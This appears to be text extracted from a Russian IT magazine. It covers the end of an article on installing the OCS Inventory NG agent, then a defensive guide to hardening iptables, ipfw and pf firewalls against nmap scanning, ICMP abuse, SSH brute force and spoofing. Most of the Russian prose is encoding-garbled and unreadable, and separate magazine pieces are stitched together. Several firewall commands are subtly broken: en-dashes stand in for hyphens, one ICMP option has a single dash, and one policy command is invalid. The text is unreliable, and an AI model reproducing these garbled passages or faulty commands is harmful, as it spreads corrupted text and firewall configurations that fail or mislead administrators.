Ïîñëå ÷åãî àãåíò óñòàíàâëèâàåòñÿ ñòàíäàðòíûì äëÿ Perl'îâûõ ïðèëîæåíèé 

ñïîñîáîì:

$ tar xzvf Ocsinventory-Agent-1.1.2.tar.gz

$ cd Ocsinventory-Agent-1.1.2

$ perl Makefile.PL

$ make

$ sudo make install

Äàëåå ñêðèïò íà÷íåò çàäàâàòü ðÿä âîïðîñîâ ïî ðàçìåùåíèþ êîíôèãóðà-
öèîííûõ ôàéëîâ. Ââîäèì äàííûå ñåðâåðà, ñîçäàåì òýã (äëÿ ãðóïïèðîâêè 
ñèñòåì), àêòèâèðóåì çàäà÷ó äëÿ cron. Ïî îêîí÷àíèè íàñòðîéêè ñîáðàííûå 

äàííûå î êîíôèãóðàöèè êîìïüþòåðà îòïðàâëÿþòñÿ íà ñåðâåð. Åñëè ñâÿçü 
óñòàíîâëåíà è ïîëó÷àåì îòâåò «Success!», óñòàíîâêó àãåíòà ìîæíî ñ÷èòàòü 
çàêîí÷åííîé. Åãî äàííûå ïîÿâÿòñÿ â âåá-êîíñîëè, â ðàçäåëå «Âñå êîìïüþ-

òåðû». Â êàòàëîãå /var/lib/ocsinventory-agent áóäåò ñîçäàí XML-ôàéë, 
ñîäåðæàùèé òåêóùóþ êîíôèãóðàöèþ êîìïüþòåðà. Åñëè æå ñîåäèíåíèÿ 
íå ïðîèçîøëî, çàïóñòè àãåíò â ðåæèìå îòëàäêè:

$ ocsinventory-agent -l /tmp –debug --server http://

ocsng-server/ocsinventory

Îáû÷íî ïîëó÷åííîé èíôîðìàöèè õâàòàåò äëÿ äèàãíîñòèêè îøèáîê.

Àãåíò äëÿ Windows ìîæåò áûòü óñòàíîâëåí íåñêîëüêèìè ñïîñîáàìè. Ñà-
ìûé ïðîñòîé — âðó÷íóþ èëè ñ ïîìîùüþ ïðèëàãàþùåãîñÿ logon ñêðèïòà. 

Ïîñëå èíñòàëëÿöèè ñåðâåðà óñòàíîâî÷íûé ôàéë àãåíòà ìîæíî èìïîð-
òèðîâàòü â áàçó OCSNG. Ïðîñòî âûáèðàåì âêëàäêó «Àãåíò» è óêàçûâàåì 
ìåñòîðàñïîëîæåíèå ôàéëà, ïîñëå ÷åãî îí áóäåò äîñòóïåí ñ ëþáîãî êîì-
ïüþòåðà ñåòè. Óñòàíîâêà ñòàíäàðòíà: íà ïîñëåäíåì ýòàïå ñîîáùàåì èìÿ 
èëè IP-àäðåñ OCSNG ñåðâåðà, è, ÷òîáû ñðàçó æå ñôîðìèðîâàòü è îòïðàâèòü 
îò÷åò, óñòàíàâëèâàåì ôëàæîê «Immediately launch inventory». Äàëåå àãåíò 
ïðîïèñûâàåòñÿ â àâòîçàãðóçêó è ñòàðòóåò â êà÷åñòâå ñåðâèñà.

РАБОТА С ИНТЕРФЕЙСОМ OCSNG
Èíòåðôåéñ ëîêàëèçîâàí, ïîýòîìó, ÷òîáû ðàçîáðàòüñÿ ñ åãî èñïîëüçîâà-
íèåì, ìíîãî âðåìåíè íå ïîíàäîáèòñÿ. Ïî óìîë÷àíèþ íà âêëàäêå «Âñå êîì-
ïüþòåðû» ïîêàçàíû ñåìü îñíîâíûõ õàðàêòåðèñòèê êëèåíòñêèõ ìàøèí. 
Ñïèñîê «Add column» ïîçâîëÿåò ëåãêî äîáàâèòü åùå äî 23 ïîëåé. Î÷åíü 
óäîáíî, ÷òî äàííûå ïîääàþòñÿ ðó÷íîìó ðåäàêòèðîâàíèþ. Òàêæå ñëåäóåò 
îòìåòèòü ëåãêèé ïîèñê è óäàëåíèå äóáëèêàòîâ ñèñòåì.
Êàê óæå ãîâîðèëîñü ðàíåå, â OCSNG çàëîæåíà âîçìîæíîñòü óñòàíîâêè 
ïðèëîæåíèé è çàïóñêà ñêðèïòîâ (bat, vbs è ò.ï.) Òàêàÿ ôóíêöèîíàëüíîñòü 
ñèëüíî âûðó÷àåò. Ñîçäàåì ïàêåò â Deployment — Build è çàïîëíÿåì ïîëÿ 

New package building: íàçâàíèå, Priority (ïîðÿäîê óñòàíîâêè) è äåéñòâèå â 
Action. Ïðåäóñìîòðåíî òðè âàðèàíòà:

- Store — êîïèðîâàòü íà öåëåâóþ ñèñòåìó;

- Execute — êîïèðîâàòü è âûïîëíèòü ñ êîìàíäîé;

- Launch — êîïèðîâàòü è çàïóñòèòü.

Ïàðàìåòðû â User notifications ïîçâîëÿþò âûâåñòè ïðåäóïðåæäåíèå ïîëü-
çîâàòåëþ è ðàçðåøèòü åìó îòìåíÿòü çàäà÷ó.
Ïîñëå ñîçäàíèÿ ïàêåòà åãî ñëåäóåò àêòèâèðîâàòü â Deployment — Activate. 

Ââîäèì URL ñåðâåðà è íàæèìàåì «Îòïðàâèòü». Âûáèðàåì êîìïüþòåð, 
íà êîòîðûé áóäåì óñòàíàâëèâàòü ïàêåò, ïåðåõîäèì â ìåíþ Customization 
è íàæèìàåì ññûëêó Add package. Óêàçûâàåì ïàêåò è çàïóñêàåì ïðîöåññ 

íàæàòèåì Affect. Ñîñòîÿíèå çàäà÷è âûâîäèòñÿ â Customization, îáùàÿ 
ñòàòèñòèêà äîñòóïíà â òàáëèöå Activate.
Â OCSNG èíèöèàòîðîì ñîåäèíåíèÿ âûñòóïàåò àãåíò, êîòîðûé ïîäêëþ-
÷àåòñÿ ê ñåðâåðó ðàç â ñóòêè, îòïðàâëÿåò èíôîðìàöèþ î ñîñòîÿíèè è 
ïîëó÷àåò çàäàíèÿ. Åñëè ñîçäàííûé ïàêåò íåîáõîäèìî óñòàíîâèòü ðàíüøå, 

íà êëèåíòå ñëåäóåò ïðèíóäèòåëüíî çàïóñòèòü êîìàíäó ocsinventory-agent.

ЗАКЛЮЧЕНИЕ
Ïîñëå íàñòðîéêè è çàïîëíåíèÿ áàçû äàííûõ â ñèñòåìå èíâåíòàðèçàöèè 

òû áóäåøü ïîñòîÿííî èìåòü ïîä ðóêîé àêòóàëüíóþ èíôîðìàöèþ î òåêó-
ùåì ñîñòîÿíèè êîìïîâ è ñìîæåøü îòñëåæèâàòü èçìåíåíèÿ. Îò÷åòû, êî-
òîðûå îíà ãåíåðèðóåò, äàþò âîçìîæíîñòü áûñòðî îïðåäåëèòü êîíôèãóðà-
öèþ òèïîâîãî êîìïüþòåðà, èñïîëüçóåìîãî â îðãàíèçàöèè, ÷òî ñîñëóæèò 

õîðîøóþ ñëóæáó ïðè ïëàíèðóåìîì àïãðåéäå èëè ñìåíå ÎÑ.z

Список установленных пакетов в OCSNG Связываем GLPI с OCSNG



  Евгений  Зобнин  j1m@synack.ru

Брандмауэр — первая линия защиты любого сервера, и от его правиль-
ной настройки зависит, сможет ли злоумышленник продвинуться даль-
ше в своих попытках проникновения в систему. Современные файеры 
предлагают множество механизмов обеспечения безопасности, исполь-
зуя которые ты можешь оставить «не у дел» 99% атакующих. И все это без 
необходимости покупки дорогостоящего оборудования и коммерческого 
софта.

Огненная дуга

Ãëàâíàÿ öåëü âñåõ âçëîìùèêîâ — ïîëó÷åíèå 
äîñòóïà ê êîìàíäíîìó èíòåðïðåòàòîðó ñåðâåðà 
äëÿ èñïîëüçîâàíèÿ åãî âîçìîæíîñòåé â ñâîèõ 
èíòåðåñàõ. Íàèáîëåå ÷àñòî ïðîíèêíîâåíèå â 
«ñâÿòàÿ ñâÿòûõ» îñóùåñòâëÿåòñÿ ñ ïîìîùüþ äûð 
â ñåðâèñàõ èëè æå ÷åðåç ïîäáîð ïàðîëÿ (áðóò-
ôîðñ) ê îäíîìó èç íèõ (íàïðèìåð, ssh).

СКАНИРОВАНИЕ ПОРТОВ
×òîáû âûÿâèòü íàëè÷èå óÿçâèìûõ ñåðâèñîâ 
íà ìàøèíå, àòàêóþùèé ïðîèçâîäèò ðàçâåäêó ñ 
ïîìîùüþ ñêàíåðà ïîðòîâ è ðàçëè÷íûõ ñèñòåì 

îáíàðóæåíèÿ óÿçâèìîñòåé. Îáû÷íî â êà÷åñòâå 
ñêàíåðà ïîðòîâ èñïîëüçóåòñÿ nmap, êîòîðûé 

ñïîñîáåí îñóùåñòâëÿòü ñêàíèðîâàíèå äåñÿòêîì 
ðàçëè÷íûõ ñïîñîáîâ è â íåêîòîðûõ ñëó÷àÿõ óìå-

åò âûÿâëÿòü âåðñèè ÎÑ è ñåðâèñîâ. Âîò ñïèñîê 
îñîáåííî ïîïóëÿðíûõ ôëàãîâ nmap, êîòîðûå 

îáû÷íî èñïîëüçóþò âçëîìùèêè:

Флаги nmap, используемые 

при сканировании

-sT — îáû÷íîå TCP-ñêàíèðîâàíèå ñ 

ïîìîùüþ îòêðûòèÿ ñîåäèíåíèÿ íà óêà-

çàííûé ïîðò è åãî çàâåðøåíèÿ;

-sS — SYN/ACK-ñêàíèðîâàíèå, ñâÿçü 

ðàçðûâàåòñÿ ñðàçó ïîñëå îòâåòà íà 

çàïðîñ îòêðûòèÿ ñîåäèíåíèÿ;

-sU — UDP-ñêàíèðîâàíèå;

-sF — ñêàíèðîâàíèå ïàêåòàìè ñ óñòà-

íîâëåííûì ôëàãîì FIN;

-sX — ñêàíèðîâàíèå ïàêåòàìè ñ óñòà-

íîâëåííûìè ôëàãàìè FIN, PSH è URG;

-sN — ñêàíèðîâàíèå ïàêåòàìè áåç óñ-

òàíîâëåííûõ ôëàãîâ.

Ìåòîä çàùèòû îò ñêàíèðîâàíèÿ ïðîñò è 

èçâåñòåí ëþáîìó ñèñòåìíîìó àäìèíèñòðàòî-

ðó. Çàêëþ÷àåòñÿ îí â ïðîñòîì çàêðûòèè âñåõ 
ñåðâèñîâ, êîòîðûå íå äîëæíû áûòü âèäíû èç 
âíåøíåé ñåòè. Íàïðèìåð, åñëè íà ìàøèíå ðàáî-
òàþò ñåðâèñû ssh, samba è apache, à èç âíåøíåãî 
ìèðà äîëæåí áûòü âèäåí òîëüêî âåá-ñåðâåð ñ 
êîðïîðàòèâíîé âåá-ñòðàíèöåé, òî ìåæñåòåâîé 
ýêðàí ìîæåò áûòü íàñòðîåí òàê:

Начальная настройка iptables

outif="eth1"

iptables -F

iptables -i $outif -A INPUT \

    -m conntrack \

    --ctstate ESTABLISHED,RELATED \

    -j ACCEPT

iptables -i $outif -A INPUT -p tcp \

    --dport 80 -j ACCEPT 

iptables -i $outif -P INPUT DROP

iptables -i $outif -P OUTPUT ACCEPT

Начальная настройка ipfw

outif="rl0"

ipfw add allow ip from any to any \

    via lo0

ipfw add allow ip from me to any \

    via $outif

ipfw add allow tcp from any to me \

    established via $outif

ipfw add allow tcp from any 80 \

    to me via $outif

ipfw add deny ip from any to any \

    via $outif 

Начальная настройка pf

outif="rl0"

set skip on lo0

block all

pass out on $outif from $outif \                            

    to any keep state

pass in on $outif proto from any \

    to $outif port 80 

Âñå òðè íàáîðà ïðàâèë äåëàþò îäíî è òî æå 
— ðàçðåøàþò ïðîõîæäåíèå ëþáîãî òðàôèêà 
ïî èíòåðôåéñó îáðàòíîé ïåòëè (loopback), 
ðàçðåøàþò ïðèíèìàòü ïàêåòû óæå óñòàíîâëåí-
íûõ ñîåäèíåíèé (÷òîáû, íàïðèìåð, áðàóçåð 
ìîã ïîëó÷èòü îòâåò íà çàïðîñ ê óäàëåííîìó 
ñåðâåðó), ðàçðåøàþò îáðàùåíèÿ íà 80-é ïîðò, 

áëîêèðóÿ âñå îñòàëüíûå, è ðàçðåøàþò ëþáûå 
êîííåêòû íàðóæó. Îáðàòè âíèìàíèå, ÷òî åñëè â 

ïðèìåðàõ iptables è ipfw ìû ÿâíî çàäàëè ïðàâèëà 
äëÿ ðàçðåøåíèÿ ïðèåìà ïàêåòîâ óæå óñòàíîâ-

ëåííûõ ñîåäèíåíèé (established), òî â ñëó÷àå ñ pf 
äëÿ ýòîãî äîñòàòî÷íî áûëî óêàçàòü «keep state» 

â ðóëåñåòå, ðàçðåøàþùåì ëþáûå èñõîäÿùèå 
ñîåäèíåíèÿ.

Â îáùåì-òî, òàêàÿ ñõåìà çàùèòû ñåòåâûõ 
ñåðâèñîâ îò ñêàíèðîâàíèÿ è ïðîíèêíîâåíèÿ 
îòëè÷íî ðàáîòàåò,    íî ìû ìîæåì ïîéòè äàëüøå 

è íàñòðîèòü ôàéåð òàê, ÷òîáû íåêîòîðûå âèäû 
ñêàíèðîâàíèÿ âîîáùå íå ìîãëè áû áûòü âû-
ïîëíåíû. Òåõíè÷åñêè ìû íå ìîæåì ñäåëàòü ýòî 
â îòíîøåíèè îáû÷íîãî ñêàíèðîâàíèÿ (ôëàãè 
nmap '-sT', '-sS' è '-sU') ïðîñòî ïîòîìó, ÷òî â íåì 

íåò íè÷åãî êðèìèíàëüíîãî, îäíàêî íåñòàíäàðò-
íûå òèïû ñêàíèðîâàíèÿ, òàêèå êàê '-sN', '-sF' 
è '-sX', ïîðîæäàþò ïàêåòû, êîòîðûå íèêàê íå 

ìîãëè áûòü ñîçäàíû ëåãàëüíûìè ïðèëîæåíè-
ÿìè. Ïîýòîìó áåç òåíè ñîìíåíèÿ îòáðàñûâàåì 
ïîäîáíûå ñîåäèíåíèÿ.

Методы борьбы с экзотическими 

видами сканирования

# Çàïðåò FIN-ñêàíèðîâàíèÿ

Linux> iptables -A INPUT –p tcp \

ЗАЩИЩАЕМСЯ ОТ ВЗЛОМЩИКОВ С ПОМОЩЬЮ IPTABLES, IPFW И PF
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SYN/ACK
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    –m tcp \

    –-tcp-flags FIN,ACK FIN -j DROP

FreeBSD> ipfw add reject tcp from any to any \

    not established tcpflags fin

# Çàïðåò X-ñêàíèðîâàíèÿ

Linux> iptables -A INPUT –p tcp –m tcp \

    --tcp-flags FIN,SYN,RST,PSH,ACK,URG 

FIN,SYN,RST,PSH,ACK,URG \

    –j DROP

FreeBSD> ipfw add reject tcp from any to any \

    tcpflags fin, syn, rst, psh, ack, urg

# Çàïðåò N-ñêàíèðîâàíèÿ

Linux> iptables -A INPUT –p tcp –m tcp \

    –-tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE –j DROP

FreeBSD> ipfw add reject tcp from any to any \

    tcpflags !fin, !syn, !rst, !psh, !ack, !urg

Â OpenBSD âñå ýòè ñòðîêè ìîæíî çàìåíèòü ïðîñòîé çàïèñüþ â íà÷àëå 
/etc/pf.conf:

scrub in all

Äèðåêòèâà scrub àêòèâèðóåò ìåõàíèçì íîðìàëèçàöèè ïàêåòîâ, ïðè 

êîòîðîì ôðàãìåíòèðîâàííûå ïàêåòû âîññîåäèíÿþòñÿ, à ïàêåòû ñ íå-
äîïóñòèìîé êîìáèíàöèåé ôëàãîâ îòáðàñûâàþòñÿ. Êðîìå ýêçîòè÷åñêèõ 
âèäîâ ñêàíèðîâàíèÿ scrub ïîçâîëÿåò çàùèòèòüñÿ è îò îáìàíà ñèñòåì 
îáíàðóæåíèÿ âòîðæåíèé (ïîñûëêà ñèëüíî ôðàãìåíòèðîâàííûõ ïàêåòîâ) 
è íåêîòîðûõ âèäîâ DoS-àòàê.

Äëÿ çàùèòû îò SYN/ACK-ñêàíèðîâàíèÿ, èíèöèèðóåìîãî ñ ïîìîùüþ 
nmap-ôëàãà '-sS', ìû ìîæåì èñïîëüçîâàòü ìåòîä ïàññèâíîãî îïðåäåëåíèÿ 
ÎÑ (OS Fingerprint), äîñòóïíûé â áðàíäìàóýðàõ pf è iptables/netfilter 

(íà÷èíàÿ ñ âåðñèè 1.4.6). Âî âðåìÿ ïðîâåäåíèÿ îáû÷íîãî ñêàíèðîâàíèÿ 
(ôëàã '-sT') nmap èñïîëüçóåò ñòàíäàðòíûé èíòåðôåéñ ñîêåòîâ îïåðàöèîí-
íîé ñèñòåìû, ïîýòîìó òàêîé ñêàí ïî÷òè íè÷åì íå îòëè÷àåòñÿ îò ïîòîêà 
îáû÷íûõ ïàêåòîâ (íèæå ìû ðàññìîòðèì íåêîòîðûå åãî îòëè÷èÿ), îäíàêî 
ïðè SYN/ACK-ñêàíèðîâàíèè nmap ôîðìèðóåò ïàêåòû ñàìîñòîÿòåëüíî, 

ïîýòîìó îíè èìåþò íåêîòîðûå ÷åðòû, êîòîðûå âûäàþò èõ èñòî÷íèê. Ìå-

òîä ïàññèâíîãî îïðåäåëåíèÿ ÎÑ ïîçâîëÿåò èäåíòèôèöèðîâàòü ýòè ïàêåòû 
è îòáðîñèòü èõ ñ ïîìîùüþ ñòàíäàðòíûõ ïðàâèë ôàéåðâîëà:

OpenBSD> block in quick from any os NMAP

Linux> iptables -I INPUT -p tcp -m osf --genre NMAP \

    -j DROP

Ìîäóëü osf áðàíäìàóýðà iptables/netfilter èñïîëüçóåò áàçó «îòïå÷àòêîâ», 
ñîáðàííóþ è îáíîâëÿåìóþ ðàçðàáîò÷èêàìè OpenBSD (/etc/pf.os), 
ïîýòîìó îáà ýòèõ ïðàâèëà äîëæíû ïðèâåñòè ê îäèíàêîâûì ðåçóëüòàòàì. 
Èíòåðåñíî òàê æå è òî, ÷òî îíè ïîçâîëÿþò ýôôåêòèâíî ïðîòèâîäåéñòâî-
âàòü ôóíêöèè îïðåäåëåíèÿ ÎÑ óòèëèòû nmap (ôëàã '-O').

Òåïåðü ìû çàùèùåíû ïî÷òè îò âñåõ âèäîâ ñêàíèðîâàíèÿ, êðîìå 
ñòàíäàðòíîãî è òóïîãî '-sT'. Êàê áûòü ñ íèì? Íà ñàìîì äåëå âñå 

ïðîñòî. Ôàêò ñêàíèðîâàíèÿ ïîðòîâ ëåãêî çàìåòèòü, ïðîñòî ïðîàíà-
ëèçèðîâàâ ëîãè ôàéåðâîëà. Åñëè çà êîðîòêèé ïðîìåæóòîê âðåìåíè 

ïðîèñõîäèëî ìíîæåñòâî êîííåêòîâ íà ðàçëè÷íûå ïîðòû — çíà-
÷èò, íàñ ñêàíèðîâàëè. Îñòàëîñü òîëüêî ïåðåëîæèòü ýòó èäåþ íà 

ïðàâèëà áðàíäìàóýðà. Äëÿ iptables åñòü îòëè÷íûé ðåöåïò, êîòîðûé 
áëîêèðóåò âñåõ, êòî ñëèøêîì íàñòîé÷èâî ñòó÷èòñÿ â íåðàáî÷èå 

ïîðòû:

Борьба со сканированием с помощью iptables

# Ïðîâåðêà íà ñòóê â íåðàáî÷èå ïîðòû (10 â ÷àñ)

iptables -A INPUT -m recent --rcheck \

    --seconds 3600 --hitcount 10 --rttl -j RETURN

# Âòîðàÿ ïðîâåðêà íà ñòóê â íåðàáî÷èå ïîðòû (2 â ìèíóòó)

iptables -A INPUT -m recent --rcheck \

    --seconds 60 --hitcount 2 --rttl -j RETURN

# Çàíîñèì àäðåñà ñòó÷àùèõñÿ â ñïèñîê

iptables -A INPUT -m recent --set

# Îòáðàñûâàåì ïàêåòû âñåõ, êòî ïðåâûñèë ëèìèò íà 

êîëè÷åñòâî ïîäêëþ÷åíèé

iptables -P INPUT -j DROP

Óñòàíîâèâ ïàêåò xtables-addons, ñîäåðæàùèé íàðàáîòêè ïðîåêòà patch-o-
matic, ìû ïîëó÷èì äîñòóï ê ìîäóëþ PSD (Port Scan Detect), ðåàëèçîâàííî-
ìó ïî îáðàçó è ïîäîáèþ äåìîíà scanlogd. Âñå ïðåäûäóùèå ñòðîêè ìîãóò 

áûòü ëåãêî çàìåíåíû ïðîñòûì ïðàâèëîì:
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# iptables -A INPUT -m psd -j DROP

Ê ñîæàëåíèþ, â ïàêåòíûõ ôèëüòðàõ ipfw è pf 
íè÷åãî ïîäîáíîãî íåò, íî ýòî íå áåäà, ïîòîìó êàê 
ñêàíèðîâàíèþ ïîðòîâ õîðîøî ïðîòèâîäåéñòâó-
åò äåìîí PortSentry è òîò ñàìûé scanlogd.

ЗАПРЕТ ICMP-СООБЩЕНИЙ
Õîðîøåé ïðàêòèêîé òàêæå ÿâëÿåòñÿ çàïðåò 
ICMP-ñîîáùåíèé, êîòîðûå ìîãóò âûäàòü 
äîïîëíèòåëüíóþ èíôîðìàöèþ î õîñòå èëè 
áûòü èñïîëüçîâàíû äëÿ âûïîëíåíèÿ ðàçëè÷íûõ 
çëîíàìåðåííûõ äåéñòâèé (íàïðèìåð, ìîäèôè-
êàöèè òàáëèöû ìàðøðóòèçàöèè). Íèæå ïðè-
âåäåíà òàáëèöà ñî ñïèñêîì âîçìîæíûõ òèïîâ 
ICMP-ñîîáùåíèé:

Типы ICMP-сообщений

0 — echo reply (echo-îòâåò, ïèíã)

3 — destination unreachable (àäðåñàò 

íåäîñÿãàåì)

4 — source quench (ïîäàâëåíèå èñ-

òî÷íèêà, ïðîñüáà ïîñûëàòü ïàêåòû 

ìåäëåííåå)

5 — redirect (ðåäèðåêò)

8 — echo request (echo-çàïðîñ, ïèíã)

9 — router advertisement (îáúÿâëåíèå 

ìàðøðóòèçàòîðà)

10 — router solicitation (õîäàòàéñ-

òâî ìàðøðóòèçàòîðà)

11 — time-to-live exceeded (èñòå÷å-

íèå ñðîêà æèçíè ïàêåòà)

12 — IP header bad (íåïðàâèëüíûé IP-

çàãîëîâîê ïàêåòà)

13 — timestamp request (çàïðîñ çíà-

÷åíèÿ ñ÷åò÷èêà âðåìåíè)

14 — timestamp reply (îòâåò íà çàïðîñ 

çíà÷åíèÿ ñ÷åò÷èêà âðåìåíè)

15 — information request (çàïðîñ 

èíôîðìàöèè)

16 — information reply (îòâåò íà çà-

ïðîñ èíôîðìàöèè)

17 — address mask request (çàïðîñ 

ìàñêè ñåòè)

18 — address mask reply (îòâåò íà 

çàïðîñ ìàñêè ñåòè)

Êàê âèäèøü, îòâåò íà íåêîòîðûå ICMP-ñîîáùå-
íèÿ ìîæåò ïðèâåñòè ê ðàçãëàøåíèþ íåêîòîðîé 
èíôîðìàöèè î õîñòå, â òî âðåìÿ êàê äðóãèå 
— ïðèâåñòè ê ìîäèôèêàöèè òàáëèöû ìàðøðó-
òèçàöèè, ïîýòîìó èõ íåîáõîäèìî çàïðåòèòü. 
Îáû÷íî âûõîä âî âíåøíèé ìèð ðàçðåøàþò 
ICMP-ñîîáùåíèÿì 0, 3, 4, 11 è 12, â òî âðåìÿ êàê 
íà âõîä ïðèíèìàþò òîëüêî 3, 8 è 12. Âîò êàê ýòî 
ðåàëèçóåòñÿ â ðàçëè÷íûõ áðàíäìàóýðàõ:

Запрет опасных ICMP-сообщений

Linux> iptables -A INPUT -p icmp \

    -icmp-type 3,8,12 -j ACCEPT

Linux> iptables -A OUTPUT -p icmp \

    -icmp-type 0,3,4,11,12 -j ACCEPT 

FreeBSD> ipfw add allow icmp \

    from any to $outif in \

    via $outif icmptype 3,8,12

FreeBSD> ipfw add allow icmp \

    from $outif to any out \

    via $outif icmptype 0,3,4,11,12

OpenBSD> pass in inet proto icmp \

    from any to $outif \

           

icmp-type { 3, 8, 12 } keep state

OpenBSD> pass out inet proto icmp \

    from $outif to any \

    icmp-type { 0, 3, 4, 11, 12 } \

    keep state 

Ïðè æåëàíèè òû ìîæåøü çàïðåòèòü âåñü ICMP-
òðàôèê, âêëþ÷àÿ ïèíã-çàïðîñû, íî ýòî ìîæåò 
ïîâëèÿòü íà êîððåêòíîñòü ðàáîòû ñåòè.

БРУТФОРС
Ðàçâåäàâ èíôîðìàöèþ îá îòêðûòûõ ïîðòàõ è 
ÎÑ, âçëîìùèê ïðåäïðèíèìàåò ïîïûòêè ïðî-
íèêíîâåíèÿ â ñèñòåìó, êîòîðûå ìîãóò áûòü îñ-
íîâàíû íà ýêñïëóàòàöèè äûð â ñåðâèñàõ, ëèáî íà 
ïîäáîðå ïàðîëåé. Ïðåäîòâðàòèòü âîçìîæíîñòü 
âçëîìà ñåðâèñîâ áðàíäìàóýð íàì íå ïîìîæåò, 
îäíàêî çàòîðìîçèòü ïðîöåññ ïåðåáîðà ïàðîëåé 
— ëåãêî. Äëÿ ýòîãî ïðèìåíÿþòñÿ âîçìîæíîñòè 
ïî îãðàíè÷åíèþ êîëè÷åñòâà ïàêåòîâ, ïðèøåä-
øèõ íà ìàøèíó ñ îäíîãî IP-àäðåñà. Âîò êàê ýòî 
ìîæíî ñäåëàòü ñ ïîìîùüþ iptables:

Защита от брутфорса 

с помощью iptables

# Öåïî÷êà äëÿ ïðîâåðêè ñîåäèíåíèé

iptables -N brute_check

# Áëîêèðîâêà àäðåñà, åñëè çà 60 

ñåêóíä îí èíèöèèðîâàë áîëåå 2-õ ñî-

åäèíåíèé

iptables -A brute_check -m recent \

    --update --seconds 60 \

    --hitcount 3 -j DROP

# Åñëè íåò — ðàçðåøàåì ñîåäèíåíèå è 

çàíîñèì àäðåñ â ñïèñîê

iptables -A brute_check -m recent \

    --set -j ACCEPT

# Î÷èùàåì öåïî÷êó INPUT

iptables -F INPUT

# Îòïðàâëÿåì â öåïî÷êó brute_check 

âñåõ, êòî ïûòàåòñÿ ïîäêëþ÷èòüñÿ ê 

22-ìó ïîðòó

iptables -A INPUT -m conntrack \

    --ctstate NEW -p tcp \

    --dport 22 -j brute_check

iptables -P INPUT DROP

Òî æå ñàìîå ìîæíî ïðîäåëàòü è ñ èñïîëüçîâà-

íèåì pf:

Файервол как он есть

Áîðüáà ñ óòå÷êîé ðåñóðñîâ
Ïðè èñïîëüçîâàíèè äåéñòâèÿ TARPIT îáÿçàòåëüíî äîáàâëÿé â êîíôèã ñëåäóþùåå 
ïðàâèëî, èíà÷å «ïðîâèñøèå» ñîåäèíåíèÿ áóäóò ñúåäàòü ðåñóðñû ïðè îáðàáîòêå 
ïîäñèñòåìîé conntrack:

# iptables -t raw -I PREROUTING -p tcp --dport 25 -j NOTRACK

FWBuilder: универсальный GUI 
для настройки iptables, ipfw, pf и 
ipf
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SYN/ACK

Защита от брутфорса с помощью pf

# Ñîçäàåì òàáëèöó äëÿ áðóòôîðñåðîâ

table <bruteforcers> persist

# Áëîêèðóåì âñåõ, êòî â íåå ïîïàäàåò

block in quick from <bruteforcers>

# Ïîìåùàåì â òàáëèöó bruteforcers âñåõ, êòî 

èíèöèèðóåò áîëåå äâóõ ñîåäèíåíèé íà 22-îé ïîðò 

â ìèíóòó

pass in on $ext_if inet proto tcp to $outif \

    port 22 flags S/SA keep state \

    (max-src-conn-rate 60/2, \

    overload <bruteforcers> flush)

Áðàíäìàóýð ipfw íå îáëàäàåò äîñòàòî÷íîé ôóíêöèîíàëü-
íîñòüþ äëÿ ýôôåêòèâíîãî ïðîòèâîäåéñòâèÿ áðóòôîðñåðàì, 
ïîýòîìó åãî ïîëüçîâàòåëè äîëæíû èñïîëüçîâàòü èíñòðóìåí-
òû áîëåå âûñîêîãî óðîâíÿ, òàêèå êàê ñïåöèàëüíûå ìîäóëè 
PAM, ñèñòåìû îáíàðóæåíèÿ âòîðæåíèé è ïðîãðàììû âðîäå 
sshguard.

СПУФИНГ
Ñïóôèíã (ïîäìåíà àäðåñà îòïðàâèòåëÿ ïàêåòà) ìîæåò áûòü 

èñïîëüçîâàí äëÿ îñóùåñòâëåíèÿ DoS-àòàê èëè îáõîäà áðàí-
äìàóýðà. Â ïåðâîì ñëó÷àå ñïóôèíã äàåò îãðîìíîå ïðåèìó-

ùåñòâî àòàêóþùåìó, òàê êàê ñóùåñòâåííî çàòðóäíÿåò ðåàê-
öèþ íà àòàêó (ïàêåòû, ïðèõîäÿùèå ñ ñîâåðøåííî ðàçíûìè 

àäðåñàìè îòïðàâèòåëÿ, íå òàê ïðîñòî êëàññèôèöèðîâàòü 
è çàáëîêèðîâàòü) è çàòÿãèâàåò ïðîöåññ çàêðûòèÿ íîâûõ 
ñîåäèíåíèé (îáû÷íî ïîääåëüíûé àäðåñ íåäîñòèæèì, ïîý-
òîìó çàêðûòèå ñîåäèíåíèÿ ïðîèñõîäèò ëèøü ïî èñòå÷åíèþ 
òàéìàóòà). Ñïóôèíã, îñóùåñòâëÿåìûé äëÿ îáõîäà ñèñòåìû 

çàùèòû, ìåíåå îïàñåí è â áîëüøèíñòâå ñëó÷àåâ ïîääàåòñÿ 
êîíòðîëþ.
Äîñòàòî÷íî ÷àñòî, áëîêèðóÿ âíåøíèå ñåòåâûå ñåðâèñû õîñòà, 

ñèñòåìíûå àäìèíèñòðàòîðû îñòàâëÿþò èõ îòêðûòûìè äëÿ 
îïðåäåëåííîãî äèàïàçîíà àäðåñîâ (íàïðèìåð, äëÿ ïîäêëþ-
÷åíèÿ ñî ñâîåé äîìàøíåé ìàøèíû). Âû÷èñëèâ îäèí èç ýòèõ 
àäðåñîâ, âçëîìùèê ìîæåò ñôîðìèðîâàòü ïàêåò, óêàçàâ ýòîò 
àäðåñ â êà÷åñòâå îáðàòíîãî, è òàêèì îáðàçîì «ïðîñêîëü-

çíóòü» ÷åðåç áðàíäìàóýð. Äàëåå îí ìîæåò óãàäàòü íîìåðà 
ïîñëåäîâàòåëüíîñòè TCP-ïàêåòîâ è ñäåëàòü òàê, ÷òîáû 
äîâåðÿþùèé îáðàòíîìó àäðåñó ñåðâèñ âûïîëíèë íóæíîå åìó 

äåéñòâèå. Ýòî î÷åíü òðóäíàÿ â ðåàëèçàöèè àòàêà, êîòîðàÿ, 
òåì íå ìåíåå, ìîæåò áûòü âûïîëíåíà ãðàìîòíûì ñïåöèà-
ëèñòîì, à åñëè ðå÷ü èäåò î ïðîòîêîëå UDP, òî ýòî ïîä ñèëó è 
êóëõàöêåðó.

Ê ñ÷àñòüþ, çàùèòèòüñÿ îò ïîäîáíûõ àòàê ëåãêî. Äîñòàòî÷íî 
íå îòêðûâàòü ïîðòû íåçàùèùåííûõ ñåðâèñîâ âî âíåøíèé 
ìèð, à â ñëó÷àå ðåçêîé íåîáõîäèìîñòè èñïîëüçîâàòü çàùèò-
íûå ñèñòåìû ñàìèõ ñåðâèñîâ (íàïðèìåð, ñåðòèôèêàòû ssh) 
èëè ìåõàíèçì «ñòóêà â ïîðòû» (î íåì ðàññêàçàíî â êîíöå 
ñòàòüè).
